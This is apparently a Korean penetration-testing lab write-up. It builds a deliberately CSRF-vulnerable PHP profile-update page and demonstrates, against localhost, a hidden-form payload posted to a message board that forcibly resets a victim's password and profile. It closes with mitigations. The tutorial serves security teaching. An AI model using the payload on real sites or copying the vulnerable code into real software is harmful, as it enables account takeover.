[모의해킹 실습] CSRF 취약 페이지 구현 및 공격 실습

CSRF

CSRF 취약점은 정상적인 요청과 조작된 요청을 서버가 구분하지 못할 경우 발생하는 취약점으로, 애플리케이션을 이용하는 사용자에게 조작된 요청을 애플리케이션에 전송하도록 유도하여 피해를 발생시키는 취약점입니다. 공격당한 사용자의 권한을 그대로 사용하므로 사용자의 권한 수준에 따라 피해 범위가 달라질 있으며, XSS 취약점과 무관하게 공격이 가능하나 XSS 취약점과 연계 공격 범위가 증가합니다.

1. 공격 원리

CSRF 사용자의 요청을 서버가 적절한 검증 절차 없이 처리하여 해당 사용자의 권한으로 임의의 동작을 그대로 실행시켜 발생합니다.

공격자는 조작된 요청을 하게 하는 스크립트를 삽입한 게시물을 업로드합니다. 게시물에 접근한 사용자는 공격자의 패킷을 응답 받게 되며 실행하게 됩니다. 이로 인해 브라우저를 사용자의 권한으로 특정 행위가 실행되며 권한 도용, 권한 상승, 비밀번호 변경 등의 행위를 수행합니다.

 

2. php 코드

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>HOME</title>
    </head>
    <body class="loggedin">
    <!-- Nav Bar -->
        <nav class="navtop">
            <div>
                <h1>My Website</h1>
                <a href="/home"><i class="fas fa-home"></i>Home</a>
                <a href="profile.php"><i class="fas fa-user-circle"></i>Profile</a>
                <a href="/member/logout"><i class="fas fa-sign-out-alt"></i>Logout</a>
            </div>
        </nav>
        <div class="container mt-3">
            <div class="row">
                <div class="col-sm-12 col-md-3 col-lg-2 p-2">
                <!-- Sidebar  -->
          <nav id="sidebar" class="border-top border-secondary">
            <div class="list-group">
              <a class="rounded-0 list-group-item list-group-item-action list-group-item-light " href="/freeboard/index">자유게시판</a>
              <a class="rounded-0 list-group-item list-group-item-action list-group-item-light " href="/login/report">버그및건의</a>
            </div>
                    </nav>
                </div>
                <div class="col-sm-12 col-md-9 col-lg-10 p-2">
                    <div class="content">

<h2>내 정보</h2>
<div class="col-11">
    <div class="card">
        <div class="card-body">

    <div class="find">
        <form method="post" action="profile_update_ok.php">
            <?php
                $sql1 = mq("select * from member where id ='{$_SESSION['username']}'");
    while($member = $sql1->fetch_array()){
            ?>
        <fieldset>
            <legend>Profile</legend>
                <table>
                    <tr>
                        <td>아이디</td>
                        <td><input type="text" size="35" name="username" value="<?php echo $_SESSION['username']; ?> (아이디는 변경불가)" disabled></td>
                    </tr>
                    <tr>
                        <td>패스워드</td>
                        <td><input type="password" size="35" name="password"?></td>
                    </tr>

                    <tr>
                        <td>이름</td>
                        <td><input type="text" size="35" name="name" placeholder="이름" value="<?php echo $member['name']; ?>"></td>  
                    </tr>
                    <tr>
                        <td>주소</td>
                        <td><input type="text" size="35" name="address" placeholder="주소" value="<?php echo $member['address']; ?>"> </td>" 
                    </tr>
                    <tr>
                        <td>성별</td>
                        <td>남<input type="radio" name="sex" value="남"> 여<input type="radio" name="sex" value="여"></td>
                    </tr>
                    <tr>
                        <td>이메일</td>
                        <td><input type="text" size="35" name="email" placeholder="이메일" value=<?php $str= explode("@", $member['email']); $str = $str[0]; echo $str; ?>>@<select name="emaddress"><option value="naver.com">naver.com</option><option value="nate.com">nate.com</option><option value="hanmail.com">hanmail.com</option><option value="daum.net">daum.net</option><option value="gmail.com">gmail.com</option></select></td>  
                    </tr>
                </table>
                <button type="button" class="btn btn-primary" onclick="location.href='profile'">뒤로가기</buton>
                <button type="submit" class="btn btn-success" onclick="location.href='profile_update'">수정하기</buton>
            </fieldset>
        <?php } ?>
        </form>
    </div>  

3. 공격 실습

No.

실습 위치

비고

1

http://localhost/freeboard/read

게시판 게시글 읽기 기능

2

http://localhost/profile_update

회원 정보 수정 기능

 

Step1:사용자 정보 수정 페이지에서 사용자 비밀번호를 변경합니다. 추가 인증 수단과 이전 비밀번호를 입력하지 않는 것을 확인합니다.

회원 정보 수정 페이지

Step2: 사용자 계정을 변경할 전송되는 파라미터는 다음과 같습니다. 수정할 패스워드가 포함되어 POST 메소드로 전송되는 것을 확인할 있습니다.

사용자 정보 수정 전송 파라미터 확인

 Step3: Step2 POST 요청을 동일하게 발생시키기 위해 공격자는 게시판에 다음과 같은 악성 스크립트를 게시글로 작성합니다. 게시글의 버튼을 클릭한 사용자의 패스워드를 강제로 변경시킬 있습니다.

악성 스크립트

<form method=post action=/profile_update_ok>

<input type=hidden name=password value=qwer1234>

<input type=hidden name=name value=관리자>

<input type=hidden name=address value=Earth>

<input type=hidden name=sex value=>

<input type=hidden name=email value=ADMIN>

<input type=hidden name=emaddress value=naver.com>

<input type=submit>

</form>

 

게시글 등록을 통한 CSRF공격 시도

Step4:사용자는 버튼을 클릭했을 페이지 이동 변화 없이 해당하는 계정의 패스워드와 개인정보가 변경된 것을 확인할 있습니다.

CSRF공격 성공

CSRF 공격은 사용자의 신뢰를 이용한 서버 대상 공격입니다. 공격자가 원하는 방향으로 신뢰 있는 사용자가 요청하므로 서버는 어떤 요청이 정상 요청인지 없습니다. 때문에 비밀번호 강제 변경, 관리자 권한 도용, 권한 상승 등의 행위를 하므로 위험도가 높은 취약점으로 분류되고 있습니다. 보안 대책으로는 일회성 인증인 Captcha, 2 factor 인증을 통해 공격을 차단할 있습니다

반응형